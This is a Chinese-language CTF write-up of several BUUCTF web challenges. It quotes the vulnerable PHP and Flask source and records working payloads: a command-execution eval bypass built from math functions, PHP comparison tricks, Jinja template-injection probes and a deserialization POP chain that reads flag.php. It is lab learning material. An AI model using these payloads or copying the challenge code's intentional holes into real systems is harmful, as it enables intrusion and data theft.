目录
[WUSTCTF2020]朴实无华
这题主要就是绕过php特性 ,
访问假flag页面 ,响应头里有文件提示
访问后得到源码,这里怎么乱码了
逐个击破
if(intval($num) < 2020 && intval($num + 1) > 2021)
这里使用e科学计数法, $num=123e3
intval($num)解析出来是123 满足<2020
intval($num + 1) 解析出来是 123e3+1 满足>2021
if ($md5==md5($md5))
这里是弱比较,只需满足 字符串的md5是0e开头 字符串本身也是0e开头 这样都是0,网上找一个满足的 0e215962017
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag)
$get_flag 不能有空格,有很多可以替代,用<替代
也不能有cat 用tac
fl4g.php/?num=123e3&md5=0e215962017&get_flag=ls
[安洵杯 2019]easy_serialize_php
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
提示phpinfo里有东西 ,进去看见这个
有点不太理解,先放一下
ASIS 2019]Unicorn shop
看wp也是一脸懵,跟着操作吧,这位大哥讲了下原理
[ASIS 2019]Unicorn shop ( 自找 wp 记录)_kee_ke的博客-CSDN博客
在价格的输入框里只能输入一个字符
这里利用的漏洞是unicode安全问题,是关于Unionde等价性的漏洞
第四个商品 是对的 ,然后价钱输入一个unicode码大于1337.0的 字符,这里就用亿了
[CISCN 2019 初赛]Love Math
参考师傅wp
[CISCN2019 初赛]Love Math_绿冰壶的博客-CSDN博客
BUUCTF:[CISCN 2019 初赛]Love Math_FW_ENJOEY的博客-CSDN博客
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
代码审计 ,跟着师傅wp来捋一下,有个字符长度限制
有个黑名单禁用了[ ] 用{ }来替代,
有个白名单限制了数学函数使用
现在我们要目标payload: ?c=system("cat /flag")
?c=$_GET[a]($_GET[b])&a=system&b=cat /falg
[ ] 用{ }来替代,_GET需要使用hex2bin函数,而白名单里没有,所以要用 base_convert()先构造出hex2bin这些字符来
正好,因为36进制中存在着数字字母,我们可以将十进制数转换为36进制数构造hex2bin
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
base_convert(37907361743,10,36) 就是代表hex2bin
5f474554 是_GET的16进制数 用dechex(1598506324)求出
base_convert(37907361743,10,36)(5f474554)
就是hex2bin(5f474554) 就是 _GET
$pi=hex2bin(5f474554)得到$pi="_GET"
($$pi){a}(($$pi){b})=$_GET{a}($_GET{b})
$_GET{a}($_GET{b})=$_GET{system}($_GET{cat /flag})
最终payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
[WesternCTF2018]shrine
[WesternCTF2018]shrine_Sk1y的博客-CSDN博客
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
SSTI 模板注入 ,跟之前的不一样 ,有限制了
这题不是单纯的打payload了
有黑名单禁用函数了,对ssti并不是很理解,所以就是记录一下大佬们的payload
分析一下代码:意思是注册了一个名字为‘FLAG’的config,同时这个题目把(),config,self都过滤掉了,并且黑名单设置的时候,替换为空。
那么可以使用python的内置函数url_for和get_flashed_messages
/shrine/{{url_for.__globals__}} 有回显
/shrine/{{url_for.__globals__['current_app'].config}} 查看当前app下配置
[网鼎杯 2020 朱雀组]Nmap
BUUCTF [网鼎杯 2020 朱雀组] Nmap_Senimo_的博客-CSDN博客_ctfnmap
考点:nmap -oG 写入文件
、-iL读取扫描文件
、escapeshellarg
绕过(参考链接)
[SWPU2019]Web1
无列名爆破 ,过滤 information_schema.tables
[SWPU2019]Web1 1_succ3的博客-CSDN博客
[MRCTF2020]PYWebsite
源码里 有flag.php 提示 ,访问
有关ip 的,还有 除了购买者和我自己 ,抓包修改一下ip为127.0.0.1 试试
[MRCTF2020]Ezpop
之前学pop构造时候就有了解过一点点这个题目,后来iscc也有个题和这个一样,记录一下吧
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
还是有坑的,我一上手不知道从哪里进入__toString() ,
1,在__wakeup() 里有个 preg_match是对字符串做处理的,
$this->source如果是类的话就调用该类里面的__toString()方法
2,$this->str->source 进入Test(), $this->str=Test(); 类里面没source,能调用__get()
3,如果 $p=new Modifier(),则相当于返回一个类函数,则会调用Modifier的__invoke()
4,invoke会调用 include($value); ,则构造伪协议读取flag.php
$var = 'php://filter/read=convert.base64-encode/resource=flag.php';
构造pop如下 ,注意要直接urlencode() ,因为protected变量
class Modifier
{
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
$this->str = new Test();
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = new Modifier();
}
}
$a = new Show(new Show('123'));
$b = urlencode(serialize($a));
echo $b;